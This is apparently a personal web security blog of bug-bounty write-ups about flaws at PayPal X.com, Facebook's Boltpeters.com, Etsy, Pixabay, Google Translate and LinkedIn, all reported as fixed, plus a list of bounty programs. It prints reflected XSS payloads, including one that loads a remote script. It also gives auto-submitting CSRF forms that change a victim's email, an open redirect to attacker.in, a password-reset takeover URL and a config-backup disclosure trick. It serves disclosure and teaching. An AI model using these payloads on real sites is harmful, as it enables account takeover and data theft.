Web Security Research

Sunday, March 30, 2014

How I was able to Read & Download Paypals X.com Users Private Email Attachments

Paypals X.com Failure to Restrict Url Access Vulnerability

I want to share one of my finding on Paypals X.com which I have reported to them in 3 January 2013.

I have found that Paypal X.com following Url https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
was vulnerable to Failure to Restrict Url Access Vulnerability as the
email Attachments Url can be accessed without Login or Authentication
nor there was any Authorization check or prevention to mitigate this
attack.

Steps to Regenerate the Vulnerability:

1. Create two X.com Users account for testing or for regenerating the vulnerabiltity.

2.
Using the 1st(ajaysinghnegi01) user account then I have composed an
email message using the compose feature and attached a file named:
failure to restrict url vul for any attachments.txt and then I have sent
that mail to the 2nd(ajaysinghnegi02) user account.

3.
The 2nd user can access that attached file using by logging into his
account and by checking the recieved emails attachment by accessing the
followiing Url
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt.

4.
As this path is same for all email users emails attachments
https://www.x.com/sites/default/files/ so the attacker crafts the Url
from https://www.x.com/sites/default/files/ to
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
by adding the file name with the file extention and also he replaced
each space with underscore(_). So he succesfully crafted the failure to
restrict Url
https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt
to access any other X.com users attachments without logging.

Failure to Restrict Vulnerable Url(For Regenerating this Vulnerability Open this Url in Any Browser Without Login):

https://www.x.com/sites/default/files/failure_to_restrict_url_vul_for_any_attachments.txt

Impact: Using this Failure to Restrict Url Access Vulnerability an attacker can
easily Read & Download all the private email attachments without
logging and all the X.com users were vulnerable to this attack.

Recommendation:

The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.

The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.

The
enforcement mechanism(s) should deny all access by default, requiring
explicit grants to specific users and roles for access to every page.

If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

The vulnerability was mitigated by Paypal Security Team within 3 days.

So
in this way I was able to Read & Download Paypals X.com Users
Private Email Attachments also this way can be used to find same type of

vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Thursday, March 6, 2014

Account Takeover Using Password Reset Vulnerability

Account Takeover Using Password Reset Functionality

While researching and working on bug bounties I have found that by using
Password Reset Functionality, Token & Link we can Takeover all the users account of a website if that site is vulnerable to this type of attack.

Using this vulnerability the attacker can modify the email md5 hash to any victims email
md5 hash to change their password and in this way he can also reset
all passwords of all the accounts and can successfully compromise the
victims account as the password reset link sent to the user includes the email address md5 hash and also the password reset token can be used for other users.

Steps to Execute the Attack:

There was a precondition that an attacker shall now the victims email id md5 hash value.

Attackers Email ID: attackeremailid@gmail.com and his password reset link:

http://testsite.com/reset-password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t2102fadb4bd021805624f06ea4c8e4d38

The 1st part in the password reset Url before '/' is password reset token and the second part is the md5 hash of the users email id in which the 1st 28 values (74q55426l4q5u5m5c4s5l5m5n5t2) are same for each users email ids and the remaining last values were different for each users email id as they were the users email id md5 hash value. So, the attacker can decrypt the email hash values easily using the online available md5 encrypters and decrypters like: http://md5decryption.com also sometimes some websites use base 64 encoding(or other encodings) which can also be easily decrypted using the online available base64 encoders and decoders like: http://ostermiller.org/calc/encode.html.

Attackers Email ID: attackeremailid@gmail.com md5 hash value:

102fadb4bd021805624f06ea4c8e4d38

Victims Email ID: victimemailid@gmail.com md5 hash value:

05ebb8fb6ec39f50d33e19cd5719084d

1st 28 values which is same for each users email id hash:

74q55426l4q5u5m5c4s5l5m5n5t2

Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com:

http://testsite.com/reset-

password/74o4s384549484c4k4v506t4d5a3e5n5k444j4g5j4o4c553l454h464m474/74q55426l4q5u5m5c4s5l5m5n5t205ebb8fb6ec39f50d33e19cd5719084d

So in this way the attacker can Takeover on any users account.

Impact:

The token generated for the activation link isn’t re-checked and no validation is done for associated emailID field, allowing an attacker to change the value to a known email address md5 hash value and reset their password. This provides a trivial route for an attacker to gain access to accounts or cause a denial of service to users on the Application.

Recommendation:

Input from the user should be treated as untrusted and re-validated when sent to the server. The recommended approach is to generate a onetime token which is linked to the user account, this can be passed with the onetime random token instead of the email ID hash value and expired once the password has been reset. Additionally, ensure if the identifier is not passed that this won’t default to updating all accounts.

So in this way one can Takeover on the victims accounts using the Password Reset Functionality, Token & Link also this way can be used to find same type of
vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Sunday, February 23, 2014

Facebooks Boltpeters.com Configuration File Source Code Disclosure and Reflected XSS Vulnerabilties

Facebooks Boltpeters.com Configuration File Source Code Disclosure Vulnerability

I
want to share two of my finding on Facebooks Acquired domain
Boltpeters.com which I have reported to Facebook on 1 Feburary 2013.

I have found that Facebooks Acquired domain Boltpeters.com Configuration
File was accessible by crafting the config file path
http://boltpeters.com/wp-config.php into a backup file path
http://boltpeters.com/wp-config.php~

Steps to Regenerate the Vulnerability:

1. To extract php source code with database name, MySQL database username
and its password, database hostname, database charset and database
collate etc. Open the following Url http://boltpeters.com/wp-config.php

2. Now change the the actual Url http://boltpeters.com/wp-config.php to http://boltpeters.com/wp-config.php~

3.
Now you can access the php source code with database name, MySQL
database username and its password, database hostname, database charset
and database collate etc as mentioned below:

Configuration File Source Code Disclosure Vulnerability POC Screenshot:

Impact: Configuration
files will disclose sensitive information that will help a malicious
attacker to prepare more advanced attacks. Using this Vulnerability an
attacker can
easily Extract Facebooks Boltpeters.com Database Users ID &
Password.

Recommendation:

The sensitive files path shall not be directly accessible to any anonymous users.

The sensitive backup files path shall not be directly accessible to any anonymous users.

Remove
Configuration File from the web server. As an additional step, it is
recommended to implement a security policy within your organization to
disallow creation of temporary/backup files in directories accessible
from the web.

Filesystem
snapshots should not be accessible via the web if your document root is
on a filesystem using this technology. Configure your web server to
deny access to such directories.

Facebooks Boltpeters.com Reflected XSS

I have found that Facebook's
Boltpeters.com application is vulnerable to Reflected Cross
site Scripting attack as s parameter of this applications
following
Url http://boltpeters.com/?s=test
is used for inputting an searching but as there is no proper input
validation,
filtration or sanitation on server side nor there is any output encoding
etc to prevent this Reflected Cross site Scripting Vulnerability if the
attacker uses the cross domain XSS payload with the combination of
comments. So
the attacker easily can steal the cookies(as http only cookie attribute
missing) of any of those website users and can easily compromise there
account.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while searching & by Injecting the XSS Payload in Search field):

http://boltpeters.com/?s=test

Crafted XSS Vulnerable Url:

http://boltpeters.com/?s="><script src=//goo.gl/p2yht/><!--

XSS Payloads: "><script src=//goo.gl/p2yht/><!--

Vulnerable Parameter: s

Reflected XSS Vulnerability POC Screenshots:

Both the vulnerabilities were mitigated by Facebook Security Team within 5 days + (Rewarded me bounty for my Findings).

Suggestions and Feedbacks are welcome.

Sunday, February 2, 2014

Account Compromise & Anti CSRF Token Bypass by Chaining Client-Side(Reflected) HTTP Parameter Pollution CSRF & Server-Side(Stored) HPP Vulnerabilities

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HPP & Stored HPP Vulnerabilities

While researching and working on bug bounties I have found that by using Reflected HTTP Parameter Pollution vulnerability we can bypass Anti-CSRF token validation and can execute CSRF and after that using the CSRF we can execute the Stored HPP vulnerabilty and can compromise any victims account if that site is vulnerable to these attacks.

The 1st challenge was to execute the CSRF attack by bypassing the Anti-CSRF token validation. I have found that using Reflected HTTP Parameter Pollution vulnerability we can bypass the CSRF token validation even when the token is properly getting validated on server-side.

The actual
rootcause of this vulnerability existence is that if the Anti-CSRF token parameter is used 2 times in a request then the 2nd Anti-CSRF token parameter value(the value will be attacker desired) is getting accepted and validated on the server-side instead of the 1st Anti-CSRF token. One more important point is that the if we try to use any other users CSRF token or old used CSRF token or any random CSRF token value using single CSRF token parameter then it was getting denied by the server and the request is getting blocked as the Anti-CSRF token was properly getting validated on the server-side.

The 2nd Challenge was to execute the Stored HTTP Parameter attack by finding the email parameter name and editing it with attackers email id. I have found that using CSRF vulnerability we can execute the Stored HPP vulnerability so using it we can edit the victims account email id to attackers email id but for that the attacker has to find the email id parameter name, so to find it the attacker can guess that parameter name, can fuzz it and can find the parameter name by using the forget password, reset password or login page Urls.

The
actual
rootcause of this vulnerability existence is that if the email id parameter is added with the attackers email id in the request using the CSRF vulnerability then the uneditable email id of victims account is getting edited or changed with the attackers email id.

In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

2. After that add the same Anti-CSRF token parameter name again with any random value as token.

CSRF Token Bypass Via Reflected HPP (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value):

3. Now add the Email ID parameter value with the attackers email id.

4. Then send this crafted CSRF payload code as a link to the victim.

5. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HTTP Parameter Pollution CSRF & Stored HPP Vulnerabilities (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value and Email Parameter Value):

Anti-CSRF token validation can be bypassed and uneditable account login email is can be changed. This can lead
to account compromise.

Recommendation:

CSRF token shall be properly validated on server-side and put method can also be used instead of post.

Filtering of all incoming sharing requests that include duplicate parameters.

So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.

Saturday, September 7, 2013

2nd Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 2nd Time

I want to share my second finding on Etsy which I and Prashant have reported to Etsy Security Team on 24th March 2013. Previously I have shared my 1st Etsy Bruteforce Countermeasure Bypass you can find it here http://www.websecresearch.tech/2013/08/1st-etsy-bruteforce-vulnerabilty.html .

We have found that the Etsy.com login page
Url
https://www.etsy.com/signin?from_page=http%3A%2F%2Fwww.etsy.com%2Findex.php
is vulnerable to bruteforce attacks as there is no lockout policy, captcha implementation, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy
ACE S5830 and User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb;
GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1). Also note that the Etsy site is same if you browse it from mobile or from any desktop etc.

After some analysis we have found that the root cause for this vulnerability was that the Mobile User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1) was whitelisted by Etsy and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for this user-agent, as when attacker submits the wrong password in the password input field
it prompts that password was incorrect and when the attacker submits the
right password in the password input field while doing advance
bruteforcing then the is attacker is redirect to the victims accounts homepage.

That means that
the attacker can successfully does the bruteforce attack(or password
enumeration) as there is no account lockout policy, captcha, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy ACE S5830 and User Agent
(Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i
Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0
Mobile Safari/533.1) or by changing the user-agent and this attack can be
done manually or by creating a scripting in ruby or python languages.

We have also found that this vulnerability can also be exploited using other mobile user-agents and also by using anonymous user-agents as Etsy have allowed any anonymous user-agents and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for the anonymous user-agents also. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within 24 hrs on 25th September 2012.

Wednesday, August 21, 2013

1st Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 1st Time

I want to share one of my finding on Etsy which I have reported to them on 12th September 2012.

I have found that the Etsy.com login page Url https://www.etsy.com/signin?from_page=http://www.etsy.com/index.php was vulnerable to bruteforce attacks even after captcha implementation as when attacker submits the wrong password in the password input field it prompts that password was incorrect and when the attacker submits the right password in the password input field while doing advance bruteforcing then there is no error message displayed, also there was no need to fill the captcha.

That means that the attacker can successfully does the bruteforce attack(or password enumeration) even when there is captcha Implement and this attack can be also be done manually or by creating a script in ruby or python languages. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within few hours on 12th September 2012.

Saturday, August 3, 2013

How I was able to Compromise Pixabay Users Account Via CSRF

Pixabay CSRF Vulnerabilty

I want to share one of my finding on Pixabay which I have reported to them in 14th April 2013.

I have found that Pixabay following Url http://pixabay.com/en/accounts/settings was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side. Using this CSRF vulnerability an attacker can easily change email id of any http://pixabay.com users account by changing his accounts email to his email id and after that the attacker can use the forget password option to reset the victims account password.

But there was a drawback that after changing the victims email id the victim himself have to confirm that newly added email id by logging into his account and then click on the confirmation link to confirm the addition of the newly added email id.

So now the attacker has only one option left that he again send the confirmation link(which is got into his email after the CSRF attack) to the victim while he is logged into his account, so it would be a 2 step CSRF attack but it was not easy to conduct 2 CSRF attacks one-by-one on the victims end.

So something striked that why not try to confirm that newly added email by himself. So for that the attacker created a dummy account of his own on pixabay.com and then tried to confirmed the newly added his own email id which he added into the victims pixabay account but unfortunately it didn't worked.

Again one more idea striked that why not try to confirm that newly added email by himself. So for this time the attacker opened that confirmation link without any logging or by sending it to victim. Now guess what it worked :P the newly added email id of attacker has been confirmed into the victims pixabay account and now the victim is not able to access his account nor he can reset his accounts password.

After that the attacker used the forget password option with his own email id which he has just confirmed into the victims account and received the victims user id and current password. In this way the attacker was able to compromise any pixabay users account.

Attack Scenario:

Attacker send a CSRF Payload Url http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ to the victims email id which contains attackers email s.test350@gmail.com.

As the victim open that Exploit Code Url while logged into his pixabay account the victim actually successfully executes the CSRF Payload on his own account and adds the attackers email id which is currently unverified and also sends an activation email on the added attackers unverified email id.

Now the attacker clicks on that activation link which was sent on his his email id and successfully activates his email id and verifies it, as the activation link can be used without login that was the major weakness in the countermeasure. After that the attacker uses the forget password option of the pixaway website with his email id s.test350@gmail.com and the attacker gets victims pixabay account password(in Plaintext) on his (attackers) email id s.test350@gmail.com and in this way the attacker successfully compromises the pixabay users account the same attack can be done on any pixabay.com users account.

CSRF Vulnerable Url:

http://pixabay.com/en/accounts/settings

CSRF Payload Hosted on Any File Upload Website:

http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ

CSRF Code:

<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="http://pixabay.com/en/accounts/settings/" method="POST" enctype="multipart/form-data">

<input type="hidden" name="gender" value="m" />

<input type="hidden" name="username" value="ajaysinghnegi" />

<input type="hidden" name="first_name" value="ajay" />

<input type="hidden" name="last_name" value="negi" />

<input type="hidden" name="city" value="delhi" />

<input type="hidden" name="country" value="india" />

<input type="hidden" name="date_of_birth_month" value="1" />

<input type="hidden" name="date_of_birth_day" value="1" />

<input type="hidden" name="date_of_birth_year" value="1987" />

<input type="hidden" name="image" value="" />

<input type="hidden" name="about_me" value="security freak" />

<input type="hidden" name="facebook" value="http://facebook.com/ajaysinghnegi" />

<input type="hidden" name="twitter" value="https://twitter.com/ajaysinghnegi" />

<input type="hidden" name="google_plus" value="https://plus.google.com/" />

<input type="hidden" name="website" value="http://computersecuritywithethicalhacking.blogspot.in/" />

<input type="hidden" name="options" value="MESSAGES" />

<input type="hidden" name="options" value="NEWSLETTER" />

<input type="hidden" name="options" value="SITE_NOTIFICATIONS" />

<input type="hidden" name="options" value="COMMENT_NOTIFICATIONS" />

<input type="hidden" name="options" value="FOLLOW_MAILS" />

<input type="hidden" name="paypal" value="" />

<input type="hidden" name="email" value="s.test350@gmail.com" />

</form>

</body>

</html>

The vulnerability has been mitigated now and the data used in the CSRF payload is all dummy data :).

Tuesday, July 9, 2013

Google Translate Manager Reflected XSS and Editor Deletion CSRF Vulnerabilities

Google Translate Manager Reflected XSS

I want to share two of my finding on Google Translator Manager which I have reported to Google in July 2012.

I have found that Google's translator manager editor application is vulnerable to Reflected Cross site Scripting attack as new parameter of this applications following Url https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee is used for inputting an email id but as there is no input validation, filtration or sanitation on server side nor there is any output encoding etc to prevent this Reflected Cross site Scripting Vulnerability. So the attacker easily can steal the cookies(as http only cookie attribute missing) of any of those website users and can easily compromise there account. This vulnerabiltiy can also be exploited using the Click Jacking vulnerability or CSRF as I have reported them also before.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while adding an Editor & by Injecting the XSS Payload in Invite field):

https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee

Crafted XSS Vulnerable Url:

https://translate.google.com/manager/editors?new=http://test.com<script>alert(document.cookie)</script>

XSS Payloads: http;//test.com<script>alert(document.cookie)</script>>

Vulnerable Parameter: new

Reflected XSS Vulnerability POC Screenshots:

Google Translate Manager Editor Deletion CSRF

I have found that Google Translator Manager's follwoing Url https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095 was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side and the request can be sent using get and post both methods also there is a sel parameter whose value is always same and random for each mail and it can be get by attacker easily.

Original CSRF Vulnerable Url(The sel parameter is used for deleting the email id and its value is always same and random for each email id.):

https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095

Crafted CSRF Vulnerable Url:

https://translate.google.com/manager/editors?sel=4214ba4271023095

Now the attacker sends the crafted url to the victims mail or in his chat the victim click on it and opens the crafted Url https://translate.google.com/manager/editors?sel=4214ba4271023095 on his browser as he opens this url the attacker successfully deletes any existing editors of the victims google translator manager account.(as the get request method is allowed and the Anti-CSRF token to prevent the CSRF is not getting validated on the server side even though it is implemented as following parameter security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330 and also the editors email id value for sel=4214ba4271023095(4214ba4271023095=securitytesting01@gmail.com) parameter is always same and the attacker can get this sel value very easily by using any fake account and by adding the victims email id as an editor(temporarily) in his fake google translator manager account.

The Same attack can also be done using post request method using the below mentioned code and sending it to the victim via mail using a crafted html page link:

CSRF Code:

<html>

<head>

</head>

<body onload=document.forms[0].submit();>

<form action="http://translate.google.com:80/manager/editors" method="POST">

<input type="hidden" name="sel" value="4214ba4271023095"/>

</form>

</body>

</html>

Original CSRF Vulnerable Url:

https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA%3A1347028470330&sel=4214ba4271023095

Crafted CSRF Vulnerable Url:

https://translate.google.com/manager/editors?sel=4214ba4271023095

Both the vulnerabilities has been mitigated now.

Thursday, September 20, 2012

List of Bug Bounty Programs

Bug Bounty Program a well known topic is on the heat these days, known companies like: Google, Facebook, Mozilla are paying for finding a vulnerabilities on their web servers, products, services or some associated applications. Here is a list for all the Security Researchers and Bug Hunters to target all the best :)

Bug Bounty Websites for Web Application Vulnerability

Mozilla

security@mozilla.org

http://www.mozilla.org/security

http://www.mozilla.org/projects/security/security-bugs-policy.html

http://www.mozilla.org/security/announce

Google

security@google.com

https://www.google.com/appserve/security-bugs/new?rl=xkp7zert49a5q6owod28bhr2

Facebook

http://www.facebook.com/whitehat/bounty

Paypal

sitesecurity@paypal.com

https://cms.paypal.com/cgi-bin/marketingweb?cmd=_render-content&content_ID=security/reporting_security_issues

Etsy

security-reports@etsy.com

http://www.etsy.com/help/article/2463

Wordpress

http://www.whitefirdesign.com/about/wordpress-security-bug-bounty-program.html

Commonsware

http://commonsware.com/bounty.html

CCBill

http://www.ccbill.com/developers/security/vulnerability-reward-program.php

http://www.ccbill.com/developers/security/rewards.php

Vark

http://www.vark.com

Windthorstisd

http://www.windthorstisd.net/BugReport.cfm

Bug Bounty Websites for Products Vulnerability

Mozilla

http://www.mozilla.org/security

http://www.mozilla.org/security/known-vulnerabilities/firefox.html

Google Chrome

http://www.chromium.org/Home/chromium-security/vulnerability-rewards-program

Zero Day Initiative

http://www.zerodayinitiative.com

Barracuda

bugbounty@barracuda.com

http://www.barracudalabs.com/bugbounty

http://www.barracudalabs.com/bugbounty/halloffame.html

Artifex Software

http://www.ghostscript.com/Bug_bounty_program.html

Hex Rays

http://www.hex-rays.com/bugbounty.shtml

Ardour

http://ardour.org/bugbounty

Piwik

http://piwik.org/security

Hall of Fame & Responsible Disclosure Websites(No Bounties)

Microsoft

http://technet.microsoft.com/en-us/security/cc308589

http://technet.microsoft.com/en-us/security/cc308575

http://technet.microsoft.com/en-us/security/cc261624

http://www.microsoft.com/security/msrc/default.aspx

http://technet.microsoft.com/en-us/security/ff852094.aspx

Apple

product-security@apple.com

http://support.apple.com/kb/HT1318

https://ssl.apple.com/support/security/

Adobe

http://www.adobe.com/support/security/bulletins/securityacknowledgments.html

http://www.adobe.com/support/security/alertus.html

IBM

http://www-03.ibm.com/security/secure-engineering/report.html

Twitter

https://twitter.com/about/security

http://support.twitter.com/groups/33-report-abuse-or-policy-violations/topics/122-reporting-violations/articles/477159-how-to-report-xss-api-and-other-security-vulnerabilities#

https://support.twitter.com/forms

Dropbox

security@dropbox.com

https://www.dropbox.com/security

https://www.dropbox.com/special_thanks

Yahoo

security@yahoo-inc.com

http://security.yahoo.com/article.html;_ylc=X3oDMTFwMGI4cDJnBF9TAzU2NTAwMDAwMgRhaWQDMjAwNjEyMDUwMQRjbmFtZQNZb3VyIFNlY3VyaXR5IG9uIFlhaG9vIQ--?aid=2006120501

Cisco

http://tools.cisco.com/security/center/home.x#~alerts

Moodle

http://moodle.org/security

Drupal

http://drupal.org/security-team

Oracle

http://www.oracle.com/us/support/assurance/reporting/index.html

Symantec

http://www.symantec.com/security

Ebay

http://pages.ebay.com/securitycenter/Researchers.html

Twilio

http://www.twilio.com/blog/2012/03/reporting-security-vulnerabilities.html

37 Signals

http://37signals.com/security-response

Salesforce

http://www.salesforce.com/company/privacy/disclosure.jsp

Reddit

http://code.reddit.com/wiki/help/whitehat

Github

http://help.github.com/responsible-disclosure/

Ifixit

http://www.ifixit.com/Info/responsible_disclosure

Constant Contact

http://www.constantcontact.com/about-constant-contact/security/report-vulnerability.jsp

Zeggio

http://www.zeggio.com

Simplify

http://simplify-llc.com/simplify-security.html

Team Unify

http://www.teamunify.com/__corp__/security.php

Skoodat

http://www.skoodat.com/Security

Relaso

http://relaso.com/disclosure

Moduscsr

http://www.moduscsr.com/security_statement.php

Cloudnetz

http://cloudnetz.com/Legal/vulnerability-testing-policy.html

Emptrust

http://www.emptrust.com/Security.aspx

Apriva

http://www.apriva.com/security

Amazon

http://aws.amazon.com/security/vulnerability-reporting

SqaureUp

https://squareup.com/security/levels

G-Sec

http://www.g-sec.lu/responsible.disclosure.policy.html

Xen

security@xen.org

http://wiki.xen.org/wiki/Security_Announcements

http://www.xen.org/projects/security_vulnerability_process.html

Engine Yard

http://www.engineyard.com/legal/responsible-disclosure-policy

Lastpass

https://lastpass.com/support_security.php

RedHat

https://access.redhat.com/knowledge/articles/66234

Acquia

https://www.acquia.com/how-report-security-issue

Mahara

security@mahara.org

https://wiki.mahara.org/index.php/Security

Zynga

security@zynga.com

http://company.zynga.com/security/whitehats

Risk.io

https://www.risk.io/security

Opera

http://www.opera.com/security/policy

https://bugs.opera.com/wizarddesktop

http://my.opera.com/securitygroup/blog/2013/04/05/thanks-to-the-researchers

Owncloud

http://owncloud.org/security/policy

http://owncloud.org/security/hall-of-fame

Scorpion Soft

security@scorpionsoft.com

http://www.scorpionsoft.com/company/disclosurepolicy

Norada

http://norada.com/norada/crm/security_response

Cpaperless

http://www.cpaperless.com/securitystatement.aspx

Wizehive

http://www.wizehive.com/security

http://www.wizehive.com/special_thanks.html

Tuenti

http://corporate.tuenti.com/en/dev/hall-of-fame

Nokia Siemens

http://www.nokiasiemensnetworks.com/about-us/responsible-disclosure

Sound Cloud

http://help.soundcloud.com/customer/portal/articles/439715-responsible-disclosure

HTC

security@htc.com

http://www.htc.com/www/terms/product-security

Neohapsis

http://www.neohapsis.com/disclosure.php

Nokia

security-alert@nokia.com

http://www.nokia.com/global/security/security

http://www.nokia.com/global/security/acknowledgements

BlackBerry

secure@blackberry.com

https://www.blackberry.com/profile/?eventId=8322

http://us.blackberry.com/business/topics/security/incident-response-team/collaborations.html

Heroku

security@heroku.com

https://policy.heroku.com/security

Chargify

security@chargify.com

https://chargify.com/security

Zendesk

security@zendesk.com

http://www.zendesk.com/company/responsible-disclosure-policy

Lookout

security@lookout.com

https://www.lookout.com/responsible-disclosure

Puppetlabs

security@puppetlabs.com

http://puppetlabs.com/security

https://puppetlabs.com/security/acknowledgments

https://puppetlabs.com/blog/responsible-disclosure-of-security-vulnerabilities

Gliph

https://gli.ph/s/security.html

Saturday, September 15, 2012

Linkedin's Clickjacking & Open Url Redirection Vulnerabilities

# Vulnerability Title: Secondary Email Addition & Deletion Via Click
Jacking in Linkedin

# Website Link: [Tried on Indian version]

# Found on: 06/08/2012

# Author: Ajay Singh Negi

# Version: [All language versions would be vulnerable]

# Tested on: [Indian version]

# Reported On: 07/08/2012

# Status: Fixed

# Patched On: 10/09/2012

# Public Release: 15/09/2012

I have found Click Jacking & Open Url Redirection vulnerabilities on Linkedin Website on 6th and 7th August 2012.

Summary

A Clickjacking vulnerability existed on Linkedin that
allowed an attacker to add or delete a secondary email and can also make existing secondary email as primary email by redressing the manage email page.

Details

Linkedin manage email page (a total of 1 page) was lacking
X-FRAME-OPTIONS in Headers and Frame-busting javascript measures to prevent
framing of the pages. So the manage email page could be redressed
to 'click-jack' Linkedin users. Below I have mentioned the vulnerable
Url and also attached the Proof of concept screenshots.

1. Click Jacking Vulnerable Url:

https://www.linkedin.com/settings/manage-email?goback=.nas_*1_*1_*1

Click Jacking Vulnerability POC Screenshots:

The redressed editor page with frame opacity set to 0 so it is invisible
to the user. As the user drags the computer into the trash-bin and clicks the
Go button, a new secondary email will be added into the Linkedin user's
account.

With the frames opacity set to 0.5 you can clearly see the redressed page and
all the background. The computer is actually a text area that
contains the attacker's email address which is selected by default with the computer image(Using JavaScript), once the Linkedin user drags the computer he will actually
drag the attackers email address into the add secondary email address area and when he
will click the go button, the Linkedin user will actually click the redressed add email address
button and the attackers email will be successfully added in the Linkedin users account.

Secondary email added successfully into the Linkedin users account.

No X-Frame-Options in servers response header.

Linkedin addressed the vulnerability by adding X-FRAME-OPTIONS in header
field which is set to SAMEORIGIN on this page.

# Vulnerability Title: Open Url
Redirection in Linkedin

# Website Link: [Tried on Indian version]

# Found on: 05/08/2012

# Author: Ajay Singh Negi

# Version: [All language versions would be vulnerable]

# Tested on: [Indian version]

# Reported On: 06/08/2012

# Status: Fixed

# Patched On: 07/09/2012

# Public Release: 15/09/2012

Summary

Open Url
Redirection using which an attacker can redirect any Linkedin user to
any
malicious website. Below I have mentioned the vulnerable
Url and also attached the Proof of concept video.

Original Open Url
Redirection Vulnerable Url:

https://help.linkedin.com/app/utils/log_error/et/0/ec/7/callback/https%3A%2F%2Fhelp.linkedin.com%2Fapp%2Fhome%2Fh%2Fc%2Ffrom_auth%2Ftrue

Crafted Open Url
Redirection Vulnerable Url:

https://help.linkedin.com/app/utils/log_error/et/0/ec/7/callback/http%3A%2F%2Fattacker.in

Open Url
Redirection Vulnerability POC Video:

Impact of Vulnerability:

The user may be
redirected to an untrusted page that contains malware which may then
compromise the user's machine. This will expose the user to extensive
risk and the user's interaction with the web server may also be
compromised if the malware conducts keylogging or other attacks that
steal credentials, personally identifiable information (PII), or other
important data.

The user may be subjected to phishing
attacks by being redirected to an untrusted page. The phishing attack
may point to an attacker controlled web page that appears to be a
trusted web site. The phishers may then steal the user's credentials and
then use these credentials to access the legitimate web site.

Special Thanks to AMol NAik, Sandeep Kamble and all G4H members :)

Tuesday, September 11, 2012

Stored XSS Via Viewstate

While researching I have found that Stored XSS can be found Via Viewstate Parameter even when Viewstates Mac is Encrypted. The actual cause of this vulnerability existence is that the viewstate parameters value is not properly getting decoded on the server-side therefore any XSS payload in this paramter will get excuted and if there is any filter then it can be bypassed by converting the XSS payload in base 64 payload.

Steps to execute this attack are as following:

1. First input any random data in login page and submit it on any aspx application.

2. intercept the using burp proxy if there is any client side validation submitted request then modify the actual viewstate parameter as shown below.

__VIEWSTATE=oJ8hAgVek8ugvqZtQ8vy9baHA1JCMeiHO0LxTIPJT0HfnQeGqLUkBqqp%2Fn%2FNhlfxnOzTZMuhKC2wyoCSHbo9pLsXD3kA8Y9fRx%2F1c8HvBHZnz3B4VkL6%2FkzBmGhZr8vEI7eTwScjrz1skp0cOJK%2Fr1dNP3Umh0jaS%2FyBkAH2Ikan9iMQBtmaLmy6m0%2BFFwA1fGgBgk60iYonO5182BdA%2FsZ8pdZnaDRPpY1q3RORFbbZ2WfZKsYhviogwsPldBOSLyOVrS9kRwU4DCDK5uE5RkgEU7ggZmxaOtSfbicezf%2BttQxsRysfMRmK%2F94r63f%2BsQxKrM2udYbpT0s%2FWiUDPmnB50oIltm1FHGm%2BYLu0PgL9RTP

